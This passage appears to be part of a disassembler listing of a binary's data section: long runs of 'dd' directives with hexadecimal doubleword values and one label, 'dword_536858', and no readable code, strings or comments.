		dd 2BA6028h, 1FCF9D10h,	10585180h, 93000F7h, 0EE386329h
		dd 9D43078Ah, 4117C22Eh, 28861FCDh, 44F58830h, 40410925h
		dd 565D54h, 0E4D03FEEh,	88268F73h, 8193E00h, 95DB68B6h
		dd 1C1F7565h, 0C76CBA97h, 9C6A2D6h, 0DA948448h,	3E0295F8h
		dd 0FA168BC2h, 1F4869D8h, 4CD01CC0h, 963037A0h,	84956A40h
		dd 16DAC611h, 4364EE00h, 4C2269Bh, 0C6609F52h, 0F02D97h
		dd 0AEFA0920h, 0A496AA7Bh, 677B07Bh, 0A1686300h, 6ACD1382h
		dd 0AAAE1371h, 1186007Dh, 30D9DBE2h, 2FFDA00h, 3E59153Fh
		dd 0F2E5872h, 0D6166A03h, 46D054CDh, 267877FAh,	0D4504500h
		dd 0B317C6ADh, 1C7A0176h, 72144FEEh, 317FC48Ch,	0C143E418h
		dd 0BCF57Ch, 212BA245h,	466A8664h, 0E71DEFF8h, 9A0075E8h
		dd 33964CCCh, 892000A6h, 0F7A3CB43h, 2A75FD03h,	240A84A1h
		dd 0D50030F0h, 0D63A85A9h, 0C1E5854h, 195955D9h, 8E03DB09h
		dd 0CE328828h, 0A430B0D5h, 3C920012h, 39951EA8h, 6700DC99h
		dd 29B7A57Bh, 0B6C35Bh,	5A07ED98h, 69DD0653h, 78BE4F2Ch
		dd 0D81B0D01h, 3070C70Ch, 819C9CA8h, 680AC944h,	261BDC4Bh
		dd 0E005A12Ch, 59920780h, 6FE7F39h, 0D6193C53h,	0F4F9410Eh
		dd 5601AFE4h, 1A1F0638h, 398301A5h, 4D6D8E13h, 3C1C6EC0h
		dd 2F813201h, 9730C4Bh,	0A8AFCh, 58058386h, 0B4ADA102h
		dd 622E7EF8h, 300026CAh, 1760AED0h, 444B00F6h, 3D42EF6Ah
		dd 4001208h, 0A9E0935Dh, 0C82374h, 0D6FE535Ch, 0DFF24C97h
		dd 7EFC691Eh, 55A90940h, 2616689Ch, 94A4A747h, 0DC01E7C0h
		dd 563BB0F4h, 4E1074F6h, 0D057C105h, 88C15250h,	0C010CD6Fh
		dd 0CE066E66h, 44AB4C5Ch, 20C84CE0h, 0BBE86903h, 71D99D04h
		dd 3818687Ch, 0C332850Ch, 941FE215h, 5C9CD7C2h,	6007831h
		dd 0C6A645D3h, 0F9226877h, 9AB02846h, 0E8EEFDh,	3661EC08h
		dd 5B58C03Eh, 6A4FF0C0h, 53D163h, 1D7E3138h, 0A4C85E05h
		dd 0EBE4A500h, 322D61A9h, 228000F9h, 72E7EAFh, 0F0956FB8h
		dd 3F410042h, 2FB9EE0Dh, 930728B6h, 9708A39Ch, 9180D837h
		dd 4B89AAh, 7095E926h, 479CE2CDh, 0C875EA00h, 0EDA1FC21h
		dd 25590004h, 34681573h, 5B000662h, 50FD7937h, 4AFE712Ch
		dd 66600055h, 98D99CF7h, 603A3F07h, 3CE0B272h, 0F5ABACCh
		dd 86FB4713h, 83FE05DDh, 9FEEC043h, 0DA7FAB37h,	305CBDE8h
		dd 0A2CA16B8h, 0EC35F845h, 15184000h, 94CE3426h, 5110C8h
		dd 57B5D4C5h, 698CCE7h,	0C06D9511h, 0C60008EDh,	7C867FFEh
		dd 286C3A53h, 0A43612h,	0EF02FC3h, 0E01158A8h, 54003A98h
		dd 0F22A7BB4h, 0F65AD2EAh, 494A00C2h, 89A9C815h, 0B709C744h
		dd 0A5FF3568h, 8835BB4h, 0E4679861h, 0F0DB0003h, 4DF9C951h
		dd 0D2093640h, 3C5B46h,	0BE1574F8h, 0B52034Fh, 0AFE359D3h
		dd 3E3F0788h, 191B8500h, 555DDE01h, 6CB700F8h, 8C22298h
		dd 48B8586Ah, 7D26EA00h, 0C809AE3Eh, 1E8A0086h,	122C231Fh
		dd 9D040313h, 163E8F21h, 0DD1AFC90h, 78242593h,	4F68B800h
		dd 2C7D610Ch, 4D990494h, 74CC67C0h, 0DE17046Bh,	881A61AFh
		dd 7816ECC0h, 7800DA37h, 9AC42E6Fh, 1C5C1382h, 1408414Fh
		dd 0E7B23419h, 0E3C232D2h, 0B9E2C460h, 0E4113A01h, 97AB2EF5h
		dd 0FA2AC02Eh, 0FC044ECDh, 144AB7B6h, 0CA80F087h, 1545BDCh
		dd 509EC9F9h, 0E059BB19h, 0F148D831h, 0BF4BD4h,	0D3520CE5h
		dd 0A3F29372h, 579C6601h, 7C214012h, 179718C0h,	0E3CE36h
		dd 0B01008B8h, 0D138123h, 0A8002ED5h, 1830C3BDh, 0F5503B9Ah
		dd 0E1217D00h, 0AC35364Ah
		dd 8A1D50B8h, 1E87BAEBh, 0DFA029AFh, 6579D5h, 2DB60B55h
		dd 16D6AA8Ch, 0C4A49407h, 61E0F12Ch, 0A63828h, 0D3CF3039h
		dd 58FFBA7Ch, 5A00E090h, 7FD0265Ch, 9222526Fh, 187C00FCh
		dd 1E13DEFDh, 0B0C2A2B2h, 90943DE4h, 49C694h, 6155F1D1h
		dd 3BBAE39Dh, 0D8E81605h, 0F500D396h, 0B42ED275h, 5F2E82Fh
		dd 23CE4360h, 86148113h, 0F7E93004h, 8D02A300h,	0E805E391h
		dd 0E6C338DBh, 0DC334D9Fh, 0A544066h, 189EA4B5h, 0EE00B474h
		dd 4740B894h, 7BD74CF7h, 0E4E95919h, 12243B04h,	6442818Ch
		dd 7A82C5Eh, 388AAFEh, 1F22CDE0h, 0CC0C49A8h, 60801C39h
		dd 8980E4Bh, 0D40055ADh, 0F0D04A92h, 391A6475h,	73815737h
		dd 53DB2B66h, 0F3CA30E4h, 0A6C23Fh, 765B1A8h, 0D026F25h
		dd 2AA07914h, 3FFE3028h, 841DA670h, 0D180C04Eh,	0A44BE3B3h
		dd 0D98A0738h, 0E0B69FEDh, 68A3C3F8h, 307190C7h, 0FB6DE1F0h
		dd 2C9089h, 7ECCF727h, 39C93551h, 52704901h, 42BCDC25h
		dd 0A203D040h, 27950AACh, 92848811h, 85A0C89Ch,	3055088h
		dd 496BAC3Bh, 6EC0EBF4h, 6002B56h, 79CD7DFCh, 2C19D901h
		dd 0F99491h, 2BFDA3ECh,	0F00053AAh, 529549B2h, 6A7563h
		dd 238C8EAEh, 0A9E6262Eh, 0C89E2F00h, 0D26F96EBh, 4F8900BDh
		dd 215B228Dh, 8300A6DBh, 18EDCC3Bh, 0B0E5E00Ch,	0D7CE0016h
		dd 822E5FF5h, 373F234Bh, 0A57D1297h, 0BAB32400h, 0FA1345h
		dd 0EC6E4857h, 0F4CD5D42h, 3E53B600h, 9E44D268h, 9D220027h
		dd 0E12F49B1h, 0AC0BF377h, 8E8ACFE7h, 0B53E807Ch, 4D5C63h
		dd 0EEFE0B20h, 1C55A53Ah, 0F1CDE000h, 0A2FC8632h, 644C00F0h
		dd 9703A4A8h, 0E97621B8h, 22A440E9h, 684DBC3Fh,	39740928h
		dd 73E0C8AAh, 90B4A379h, 358930h, 0EE0309BCh, 559DF47Eh
		dd 29706C1Eh, 6785C985h, 5DD3BC00h, 0C4EC12h, 615BDB64h
		dd 0FB203A0h, 5EEAA479h, 70262200h, 843F3A1Eh, 0B81F121Ah
		dd 174901FCh, 0FF931066h, 791C25B8h, 40DCBE00h,	87BC0568h
		dd 7132040Ah, 0C042D3BAh, 0EBF1A7D2h, 68AEA400h, 8993421h
		dd 59727E8Ch, 5700A043h, 38D865DAh, 91031583h, 45B98774h
		dd 13DCC86Ch, 0B5CF0361h, 0EFF46E92h, 1EE632A0h, 8F018894h
		dd 4782544h, 0BC0C9BC4h, 9A885F98h, 0C21E803Bh,	5FECF5CFh
		dd 0FD403CBCh, 804B2569h, 0F75CCEF1h, 94225B4Fh, 14BA19FFh
		dd 3E49FAA0h, 941F40BDh, 0A76700D2h, 16196EA5h,	0FFC7E100h
		dd 18F289B3h, 12F8735Eh, 0CED29768h, 0A350603Ch, 2C8A5A8h
		dd 0CEEE0948h, 745A68F4h, 0CC4841FDh, 0A4E26018h, 0C0F828C0h
		dd 8716D8h, 9DE44E03h, 8E926E58h, 80003E76h, 8ACC1BBAh
		dd 0FA1A35E0h, 0F4A40F63h, 401E6B1Eh, 67EDE6C7h, 243F6653h
		dd 0CB569418h, 528A1CB4h, 22902940h, 68D243h, 4EF87FBBh
		dd 31D547ECh, 0DB7A4F00h, 543B48E4h, 935100B5h,	14B70D07h
		dd 0FC0EFFD6h, 0A1794D7Ch, 19323520h, 5B4907D0h, 3A2CFC58h
		dd 0A4528256h, 0C0919DB2h, 66B5C93h, 0F2644708h, 0BE00F9A1h
		dd 2742D718h, 65693803h, 0F0B3091Fh, 1000DEB0h,	8C7D35D7h
		dd 0AAD3999h, 7BD1A08h,	0A25B81ACh, 88A4553Ch, 8C20920h
		dd 53969E6Dh, 88202E1Bh, 80C0EDC9h, 1D199E77h, 0D296EFCh
		dd 17280D8h, 18631295h,	0D16CE2ECh, 0AB21801Ah,	485980F3h
		dd 7AE10B8Ah, 2D724A7h,	84675B0Bh, 6606A6Ch, 272340D7h
		dd 0BB1133h, 0C6D71EE4h, 9EC5CBh, 22955F3Ch, 45F3F98Eh
		dd 0A9A4A0C1h, 0B087CE4Dh, 50A85E96h, 94F13AE5h, 97862800h
		dd 0C55A2540h, 676D0059h, 918726B1h, 3D001439h,	0F4CBA989h
		dd 73C207A5h, 0AC6B003Ah, 0DEB978DBh, 8AB8FE03h, 0EB003478h
		dd 0E8648F0Ch, 0F0956F26h, 0C6271C44h, 0AA8140EDh, 0AC8F9624h
		dd 896098FEh, 0A8B2CDFAh, 0B5CC32C1h, 0E0FD7709h, 3B6F810Eh
		dd 0CD807341h, 0D98B6748h, 0B4006854h, 0EEA26AD8h, 0E0C6ACh
		dd 0BD1FDAA3h, 0F8CE2F4h, 0B715C300h, 2A3C6470h, 6F9E06AAh
		dd 11EF694Ch, 0F20078E8h, 15EACE13h, 98D171F9h,	0F1E200B9h
		dd 8906395Eh, 0D30CC7BDh, 0F6331E7Bh, 90B007C3h, 9E7EBB02h
		dd 27F52500h, 0A030DEB3h, 0CFB579D1h, 0EA3500A9h, 0D618970Ah
		dd 2900E5B6h, 0D10D76A1h, 31D7442h, 0D0C5AC70h,	68130EC0h
		dd 52002D82h, 6B99CA27h, 6F67A2Bh, 34067A01h, 21078019h
		dd 0F96CBC23h, 15137600h, 88B003Fh, 22641AFAh, 796E1E31h
		dd 0F3E42051h, 268C1Dh,	0E3464CC3h, 0AA3F33B1h,	1AE220h
		dd 0F8244B7Fh, 0E41C7198h, 60729503h, 0AEC59C5Ah, 0FF900349h
		dd 12A283Bh, 325F1000h,	217204FCh, 0A42D0043h, 42EB3B6Eh
		dd 680774AFh, 0B87A633Ah, 0B0821563h, 580FC17Ch, 0C5005EECh
		dd 0ADE8C468h, 4F280467h, 0D6E2DCE5h, 7600BCE6h, 66AAD5FBh
		dd 0EA2A60h, 0FCFF831h,	3C39D818h, 0E8DFA018h, 6EFCB48h
		dd 451CD16Ch, 100099F2h, 0C2B5AC7Eh, 80DD2Bh, 0B756BFC6h
		dd 0B3C0993Bh, 9CB85500h, 0B263045Bh, 0F5E0A854h, 1EDFF4A5h
		dd 81EF0110h, 5EA0249h,	0A091E0E2h, 62B4C90Eh, 99803D4Ah
		dd 0D2FE087h, 54050CF0h, 9B04913h, 88BB2A00h, 0D1C679A7h
		dd 0EBDECF3h, 158BDF25h, 5A3A4B20h, 0F1EAB156h,	1B7DA100h
		dd 0BA6296FDh, 74A82C95h, 5BA200D1h, 0DD6C651Ah, 0F90021B8h
		dd 0D092AD9Bh, 0E821E699h, 798B02AFh, 0A7D60EFDh, 3E18882h
		dd 0D36C9520h, 0F876D5h, 0DEDBA1CFh, 8AE1613Ah,	6F3EC100h
		dd 74F0402Ah, 0E38101D9h, 8CFD55BEh, 4F845039h,	8F00DA7Bh
		dd 3C19846Bh, 1C3475h, 91F8FEC8h, 53709098h, 77108B0Ch
		dd 0B7E092h, 5609E16Ah,	0C8786D48h, 65E4D10Eh, 481FF26Bh
		dd 0DBDF00F9h, 0B879AD14h, 0CBD12687h, 0AD60B00h, 0D57FEA80h
		dd 750FD7D4h, 0E0A06A09h, 73DDE0BDh, 0C5620012h, 98F2ADDBh
		dd 7FF8DEF4h, 0B65CA8C2h, 40B5E082h, 56CB00EEh,	3076BED5h
		dd 74013F9Ch, 0D2663628h, 0DEF80C46h, 9A130E5Fh, 0B1A0B7FDh
		dd 0B68D1C2Dh, 1FA1F000h, 0D8A7B2Fh, 0E5E704F7h, 90C1F3EAh
		dd 34C0758Ch, 0C7F07C90h, 0DF412500h, 7E1744E0h, 0EDB8A0ECh
		dd 0E8F70009h, 9A200882h, 0B6042AEBh, 48BC631Dh, 9BE030D7h
		dd 24DC18A7h, 1D078AB8h, 5F60F003h, 0D10019ABh,	71C1BDA6h
		dd 0B9B2B54h, 311C873Eh, 0A0CEF601h, 8ABEC03Ah,	0C27DDE03h
		dd 989C1F5Fh, 0E66A5896h, 2E21DCDh, 7516C068h, 110CF1CFh
		dd 6B44EF00h, 103DCE3Ch, 56FF0054h, 22BBC0D4h, 3E000DF7h
		dd 77264744h, 30856229h, 4CF42F02h, 3A00A2EAh, 1037C518h
		dd 1CAFB639h, 806E21C2h, 33B41E71h, 65012AC0h, 0CA05C6AAh
		dd 0BB70FF17h, 807800A5h, 0DCE80E92h, 8C00ED86h, 2F1596A7h
		dd 0FCCD2E01h, 62A1004Bh, 3B5BD519h, 0CE022A4Ah, 0FE2DFB3Fh
		dd 0A2A88077h, 3962D6h,	0BD4879C0h, 651D6A70h, 0C452B600h
		dd 2FB74B9h, 105A026Eh,	7824CD7Ch, 0A47AB046h, 0E899FA00h
		dd 869BC275h, 77A3002Bh, 6B47D202h, 2A008578h, 953AE3CAh
		dd 7EDE8D6Ah, 3E72FAB6h, 0A818148Ch, 295C8875h,	0BC3EC604h
		dd 0FCD03228h, 58A6E9B6h, 9C000072h, 0A8C6BB22h, 0C77CFE81h
		dd 690098E6h, 92843682h, 0FC08A532h, 0DD911DF7h, 9BD2A3h
		dd 8FB34998h, 52C0EDBEh, 41D63B9Ah, 3D0838F4h, 66B0D002h
		dd 0E84811C3h, 0C10076C9h, 71515FC4h, 5441B667h, 2C9029h
		dd 0BC6B0491h, 7F03D8DBh, 0A6EB1A1Dh, 0DEF01300h, 0F2200BCCh
		dd 112C01A2h, 63C519Ah
		dd 1F2DE8ABh, 47002498h, 82C1AA0Bh, 0F461C35h, 0E40C8F4Dh
		dd 549BC8C0h, 9F2C9416h, 0F601A073h, 6E25B284h,	5056B8C4h
		dd 1CBE46Fh, 0ED185EA7h, 0F47B7CF5h, 0D103DFCEh, 0E546F9B4h
		dd 9D30D84Bh, 0E8EE00BDh, 2A0560ACh, 0BE0041D0h, 0D53CFCBCh
		dd 0FB0D39h, 961C47F8h,	1215C499h, 0E70E1AFCh, 0E01079C2h
		dd 0E40A7C32h, 0AF7D0ECDh, 0ACAFB273h, 63BDFAA0h, 1203A360h
		dd 14DD1A58h, 0A01CE3D9h, 0B8402E7h, 4371BFDAh,	54952080h
		dd 0D604C544h, 0ABE3976Bh, 6E01F490h, 20B2E9h, 0EAA2770Dh
		dd 8CBC7309h, 0B062FA07h, 0A0F012DAh, 2FF42ECh,	2C1E9202h
		dd 9080F19Fh, 0D6A68EAEh, 0A3FB7803h, 0D03EB8ACh, 3D80B67h
		dd 0E108E9F9h, 97E860FDh, 6F011819h, 282F9216h,	9DCC3062h
		dd 2E020006h, 1336BE2Ch, 4C03E0E1h, 45E654E3h, 17D8E068h
		dd 723D00FAh, 0C2236B7Fh, 3F03A08Dh, 90AD320Bh,	7B80BF0Ch
		dd 0C788E7h, 11595A40h,	192D0766h, 75C81006h, 398D01h
		dd 69C37DFDh, 0FA4A4D39h, 0F960B100h, 774B07D3h, 0BB5C002Ah
		dd 0ECD250D4h, 0F700FFCDh, 0B59BDC43h, 1EE8E2D3h, 0D74AEFh
		dd 88F2BABEh, 7EEC4566h, 0A008AA00h, 36A88184h,	350B1DD7h
		dd 3F14A6A4h, 0FC936707h, 9910E1CDh, 0ACC84026h, 8B27118h
		dd 0E6ECC700h, 89D0C66Ch, 0DCD21CBEh, 0A3C1C3E5h, 0CEB86D8Dh
		dd 2F79C08Fh, 0D8CFE400h, 28B48BAAh, 0C4FB16DAh, 0C1FC60C2h
		dd 0CC1842A5h, 9B6170F0h, 7408C0C7h, 2811E848h,	3A90423Ah
		dd 6CCF0AA7h, 0DE321034h, 72F068F1h, 40A70E79h,	0A58E6164h
		dd 0D54A5A82h, 426C1082h, 4EA02CA4h, 3D0E8098h,	8D1745h
		dd 0D5182316h, 5B2C50B7h, 6C54C800h, 80EE4B58h,	0DB4A0BC7h
		dd 0A480A079h, 740E5EFCh, 60C24130h, 14A79164h,	3490F16Fh
		dd 9FBB1108h, 8CE5520Eh, 7A2A7070h, 664CA14Ah, 3A21584Eh
		dd 0FEA86240h, 7D70004Fh, 19F60824h, 337D723Fh,	0C9A2A401h
		dd 6B7530EAh, 0E47FBEDCh, 0B55600C7h, 74C4A03h,	0CB04D4B9h
		dd 0E949D7D6h, 0BF6601C0h, 81CF07A4h, 0B0AF8E6Fh, 88B88DE4h
		dd 0E5F65100h, 0E713C377h, 8FDE0069h, 0F5411F0Eh, 7B07FE14h
		dd 0F1D2DB42h, 729EEC0h, 0EBF8345Fh, 3BA100B0h,	3955C6A2h
		dd 0BCCCA000h, 0BDC92DECh, 10B858F1h, 1ABE526h,	0F02671F7h
		dd 4A38D03Bh, 20732500h, 0A96B3D42h, 134075Ah, 0F05E675Ch
		dd 0E2E1963h, 0ABCF8B00h, 42C18737h, 8FE0E5EAh,	0F1A00073h
		dd 0C964349Eh, 800E6C40h, 405FB365h, 7208F0D5h,	0A1820EA4h
		dd 0D660D7EBh, 0EA9C74BAh, 0F9C0290Eh, 0C7EEA0C5h, 5C8768B6h
		dd 1C007001h, 9F23ED3Bh, 2D00C0CEh, 0A4F29DBFh,	53A2C7h
		dd 7AFB7CB8h, 6AC14071h, 7498B6B8h, 0DF7F6EF2h,	247058h
		dd 5232A58Ah, 0B201C56h, 9AE62749h, 0DAC67800h,	67F6B726h
		dd 304F4700h, 49629AEh,	801F5437h, 2C726Ah, 0F0316D84h
		dd 0FB92E561h, 5F0973E4h, 0B9DFEC02h, 0A4F1F740h, 0EF1C7882h
		dd 0E240BE7Eh, 0F0004890h, 9811191Bh, 0B508F8Ah, 0B8C5C99Dh
		dd 9520800Eh, 19599F06h, 5EA03C1Dh, 68876C6Ch, 8CC42F73h
		dd 0F83CA0h, 0B76B980Eh, 92F5C448h, 9944DF01h, 1B512141h
		dd 0E90C8C28h, 0E43081D3h, 26173777h, 0C808D586h, 0C8384557h
		dd 0F61EC4E4h, 5E0082B5h, 63F487DAh, 457A46h, 343F0A77h
		dd 0ABC42C61h, 940B891Fh, 66E18083h, 84E807EAh,	0A0791FF3h
		dd 39D27D2h, 98069400h,	0D6D893D5h, 0A4731CAAh,	25580EEh
		dd 4969ABFDh, 0B643B00h, 4572FE4h, 0F225984Ah, 6AAE00FCh
		dd 54DA5B4h, 70006CF8h,	21181FC0h, 183D3157h, 78978502h
		dd 0EF1C1069h, 0AC0D329h, 0BF2CEA8Bh, 0AD0B05FAh, 0D4DBFEh
		dd 0D2BD75B4h, 0F5C8144h, 4387011Ch, 9B58A665h,	0AB5CF4h
		dd 69374183h, 0F25FEA9h, 27EED7E4h, 93A15A03h, 0A1BB7013h
		dd 0A046D421h, 27CB256h, 0A4E9F49Bh, 605070B4h,	88C39A00h
		dd 0F910CF13h, 0C698D5h, 0DE0C8B89h, 28085F2Ah,	395A1C09h
		dd 1250C094h, 3AA001Ah,	0DB771F45h, 2E301536h, 31D45121h
		dd 0FC791F75h, 425C005Fh, 102D6B5Ah, 9F023C00h,	0C51828ACh
		dd 0F4F61E34h, 1BCC004Bh, 205B44AAh, 2F0E0600h,	7EC7799Eh
		dd 0AC21E516h, 0E25CF8h, 358EDD62h, 28514D24h, 0FFCEB900h
		dd 0F6598CC3h, 3FB400A0h, 14B3BCC2h, 5E04F14Fh,	99346F4h
		dd 0A1D80180h, 63F60025h, 4E065431h, 952CB87Ah,	5A9520B7h
		dd 5694E8h, 9DC17573h, 0F678D0h, 0D51EBACh, 62B2DF8Ch
		dd 87E6BC0Eh, 0FD38A0CEh, 2ADE843h, 0C0EDD168h,	38E8EB14h
		dd 2E005237h, 2DE5B77Eh, 9F6D8F9Fh, 473140D0h, 0CAE494B9h
		dd 3A6D834h, 57A4D26Fh,	0B2A84C54h, 0A139E688h,	503BC8h
		dd 7B0E86ABh, 0FED8E81Bh, 0B024FDA4h, 49E300E7h, 0E1CAEB0Ch
		dd 3860B0D0h, 7F42DB38h, 36430076h, 92EB2229h, 4012BB2Ch
		dd 34D3D37Dh, 0DB4CB19Ah, 32E080DAh, 0F45B3BEBh, 7E986Bh
		dd 2DCEE33Ah, 90DA111Eh, 0CBEA1800h, 0F26B222Bh, 896900A3h
		dd 0EF3C57FDh, 1006538h, 541F2843h, 1CFBBC1h, 4D233A32h
		dd 0C45D197Ah, 0EF0092F2h, 0FB7EDF80h, 3B3CCA24h, 0F0B541h
		dd 0EBCCD0E9h, 0B085F870h, 0A213CD76h, 0FC01FE5Eh, 8CAF58C1h
		dd 9A422460h, 0F3890508h, 430D7A15h, 0AA58E1B8h, 0A5620BD0h
		dd 0C448A03h, 98D6B741h, 205FFA4h, 0EC746C85h, 72C0B392h
		dd 0DC16A044h, 58808F13h, 0A8D9B2h, 0A1989E40h,	0A96FBDD7h
		dd 7D8BE100h, 0CF615A7h, 25D90032h, 8D849BE3h, 172442B2h
		dd 0E68024B9h, 0F0D815FAh, 0A5960005h, 4CB65ABFh, 0F312CA7Ah
		dd 0F008EF1h, 50FEC72Ah, 0C29006BCh, 0C0077848h, 0D8644A03h
		dd 0E4C89C5Ch, 7FA460A0h, 0FFB624E8h, 643183C0h, 6AA016F8h
		dd 0FB606217h, 5E2CE719h, 28E249F5h, 0CF610F00h, 96AE6F63h
		dd 945B54C1h, 0EC4032ABh, 759A7A65h, 0B2C630E4h, 0AD700D3Ch
		dd 0D0F2C9F7h, 3096EE81h, 0F501803Ch, 542AC031h, 762D0016h
		dd 0E9F9661Bh, 32E6A51Fh, 2C08581Dh, 96F780BEh,	35C37CE3h
		dd 87A00012h, 9E4D9CA4h, 5275E791h, 0F417B200h,	7CF80924h
		dd 0F3A90063h, 0FCDEAFFh, 0BD00BF5Ch, 1865BC3Eh, 0F7A008h
		dd 15756EF0h, 21444169h, 0C0B7F604h, 0DCB0662Ch, 0ABF40008h
		dd 64E0C593h, 0F100F7BCh, 0CBD3EAD7h, 0F55369h,	0D9CFED5Ah
		dd 0A3B01BBh, 80FBCD38h, 0B385719Ah, 73E2E29h, 0E2D1D834h
		dd 0C6F1405Bh, 9F02A4CAh, 0FEA1CFBDh, 0BA60C004h, 1DEDEE3Ch
		dd 7E115Dh, 0E26EF3D7h,	61003F55h, 0AD6D3051h, 0E723947h
		dd 88295409h, 872DE207h, 16BC103Ch, 7300347Dh, 0CCE90789h
		dd 742E71h, 4AF8C11Dh, 9CC45C33h, 0F91CE800h, 1B8A72B2h
		dd 2A82F62Fh, 0B0ECDAB3h, 1EFF1E4Ch, 0F18C8BBBh, 872BF420h
		dd 0D1002156h, 92C668D8h, 139A59A7h, 4B76D36Eh,	0CC406D64h
		dd 7B009744h, 94C84FD6h, 9860A9h, 0CA50D964h, 9B45A39Eh
		dd 59D2670Eh, 70C7406Eh, 12429009h, 90306CCBh, 0F1D34C30h
		dd 889FFD01h, 8233DD99h, 1DBC18AEh, 6CCE04A6h, 19D63237h
		dd 0A0811361h, 0FE6A76B9h, 0BE98005Ch, 37EED18Ah, 5EE4956Ch
		dd 0A28F111Eh, 6E2D18C0h, 0FC5BC189h, 0E8810022h, 0F54AEAB5h
		dd 0D900A2A7h, 0C85D2C53h, 6F4268h, 9CD6955Ch, 0A8644D74h
		dd 66B81318h, 1316970h,	45771B70h, 0F19409FFh, 440C4071h
		dd 0A44B1198h, 8BF13060h, 287261E8h, 0D0996640h, 501464BBh
		dd 286C2B4Ah, 1650906Eh
dword_536858	dd 0D71C0F98h, 0BE9872h, 0EB366DEEh, 544BCD2h, 0BA0C3E0Ah
		dd 0CC34C0BEh, 54073AD4h, 0D37EFE52h, 77ADED50h, 3B53FEE2h
		dd 299D648Fh, 0F56E812Ch, 0C0E8CB9Bh, 792525BAh, 1CE3F028h
		dd 8E246537h, 0DF878E80h, 2D66E07Ch, 6C07C081h,	1A9AB991h
		dd 55404337h, 7E8DA6FAh, 0B6E51CD1h, 67328052h,	900F358Ch
		dd 0A3669300h, 4A6F0BB9h, 111D008Fh, 504CED6Dh,	3E2674CCh
		dd 4838A773h, 74623EDAh, 7201FCBAh, 55C00C60h, 0FDF5A2F3h
		dd 17041983h, 0C190EE27h, 26042925h, 1824381Dh,	4F12AEC1h
		dd 0D26930h, 0E573A5F7h, 0CC5DA2EDh, 0AB001C92h, 42D52E4Eh
		dd 33701160h, 0CF08A84Ah, 0A5082100h, 7AF1802Eh, 2C5D05E3h
		dd 82EB8473h, 7CE8E5C4h, 46009C9Dh, 0C9BCE683h,	32F33242h
		dd 4F70FEB6h, 78C85C50h, 2E40C09Ch, 0B046422Fh,	0A00D922h
		dd 926C2EBFh, 306866F2h, 88509F8Eh, 9029106Bh, 0BB398C03h
		dd 0E416983Ah, 207CCA20h, 0AF987F4Ch, 188C2E30h, 0FDA87B42h
		dd 7075C700h, 8562CCF0h, 0C0356610h, 0F38E40Dh,	76FA63A7h
		dd 0DFA2CA00h, 1E003A33h, 0C85F112Eh, 2FC327Dh,	105D26B8h
		dd 61C07FD9h, 0EF00242Fh, 7E4939A4h, 762360F6h,	0D43C13D3h
		dd 6A0F0017h, 39E9A66Fh, 430E6C01h, 4613A3A8h, 9FCD2D4h
		dd 0F5E34EAh, 93922A80h, 0F51C4256h, 1283AA06h,	0A1479C64h
		dd 39D8911Fh, 0F2D200E4h, 0B24EA811h, 380E58B1h, 8088228Eh
		dd 12778BB6h, 1E69FA17h, 1DB81110h, 6FA14007h, 6AA41D04h
		dd 0A0190800h, 0A59D4F40h, 0B741Eh, 93FD709Fh, 9B0569B7h
		dd 386AB400h, 0F09CBE21h, 0E69900B2h, 97B5F3E2h, 5B00D0E0h
		dd 0D7B1A977h, 0FA60FBh, 826BEFB2h, 292DFE45h, 40071BE8h
		dd 34650896h, 387E0540h, 0AC90363h, 6976A281h, 37AF20F7h
		dd 0BC00AEDFh, 58A4B6D2h, 0B0DEB256h, 0DDD600C4h, 25A39251h
		dd 7B03618Fh, 0D56C9B78h, 9293BD9h, 0A3050A83h,	47E0BD72h
		dd 0BB006208h, 0CE82E45Bh, 0E5FB0Eh, 0F917FAD2h, 25DF6AC6h
		dd 85BE38h, 0F85B726Eh,	8032D5h, 1D3F2042h, 8688F612h
		dd 57B55101h, 0C5FC16F0h, 0B87A0FF8h, 0C4CE07E9h, 0C0433F80h
		dd 0E5DEF45Eh, 568CD00h, 0B6FE8DFDh, 5CD500BEh,	5B252CF3h
		dd 0F40094CCh, 0E71C652Ah, 136DC8h, 587CAE09h, 73716F96h
		dd 94C4AC00h, 0D0050B49h, 0F35400ADh, 2B4B1DC0h, 3A00CFE0h
		dd 62E386A0h, 3DA1466Eh, 0C400F9F1h, 108B80CAh,	0A60BB35h
		dd 2205D52Ch, 0C0F13F86h, 5D655C80h, 0FC465BEAh, 0E3398A0h
		dd 0EC00FA78h, 1C0C395Ah, 665370h, 74A14BC7h, 0DE5128Ah
		dd 9E60A062h, 0A0720BEh, 0B807DDD4h, 280CC0BBh,	0ACB23780h
		dd 516628BDh, 0B40200EBh, 634A105Fh, 6D504FE5h,	8C00DBD8h
		dd 0E21C1B9Dh, 7D0367A8h, 125903CAh, 5E559481h,	649A1980h
		dd 0B54E0100h, 4CDC88AAh, 0DDC90149h, 0BFB98EBEh, 0D085F43Bh
		dd 6EDE5E03h, 0A59591B4h, 8EC3A806h, 0DD1F0068h, 0DB62B80Eh
		dd 0E1E4E9FBh, 0AA919600h, 1CABB39Dh, 0E46F03EFh, 407DEE4Dh
		dd 9FC1603Fh, 0B7C28D9Eh, 0E36AE046h, 0F189F8BCh, 1ABC1CA2h
		dd 6284CFAFh, 533B0E03h, 41E81BE8h, 19836F24h, 8D192100h
		dd 110F79Fh, 1CF3C275h,	0C041C4FFh, 100D1F1h, 6244C152h
		dd 9035D5E5h, 0BBF405D0h, 417019EDh, 0D15005D4h, 6232D077h
		dd 146F6C02h, 48FE8590h, 7E98ACh, 55AC2CEFh, 5940284Eh
		dd 4D90A8E8h, 5B008AFEh, 299BCD34h, 6BDCCAh, 8B81B097h
		dd 0D70E706Dh, 0B750D1ECh, 3100FBE4h, 795FE1A9h, 3682C56h
		dd 8F461E3Dh, 9FF8805Eh, 9E02251Ah, 265A1D8Bh, 0C0884035h
		dd 0F265008Ah, 0C3F5FD79h, 1903AD98h, 89A897D3h, 0E9CA987Dh
		dd 0EF060A9Dh, 80C8DB70h, 7A447F27h, 0E9C0F6CBh, 43C968E6h
		dd 1E800E5h, 0B721B8D7h, 0CD285E3Dh, 3102C850h,	88C2EF9Dh
		dd 933C48A4h, 963200DCh, 0B257E904h, 0A230517Eh, 0EE531E1h
		dd 0B4190066h, 0D2209490h, 0D500A68Ch, 546ED3E2h, 0D8C29Eh
		dd 0F907F13Dh, 0C4989EFh, 14C9FE00h, 4336611Eh,	0D1A7009Fh
		dd 88759EF3h, 0A0034C30h, 59C23870h, 0BA19E07Ah, 7FA97B18h
		dd 0E68100C3h, 3754619Eh, 5D14675Eh, 71A4B332h,	0E2258BDh
		dd 5C6A96D6h, 99C4BD00h, 3800E680h, 0EE5AD75Bh,	8F520Dh
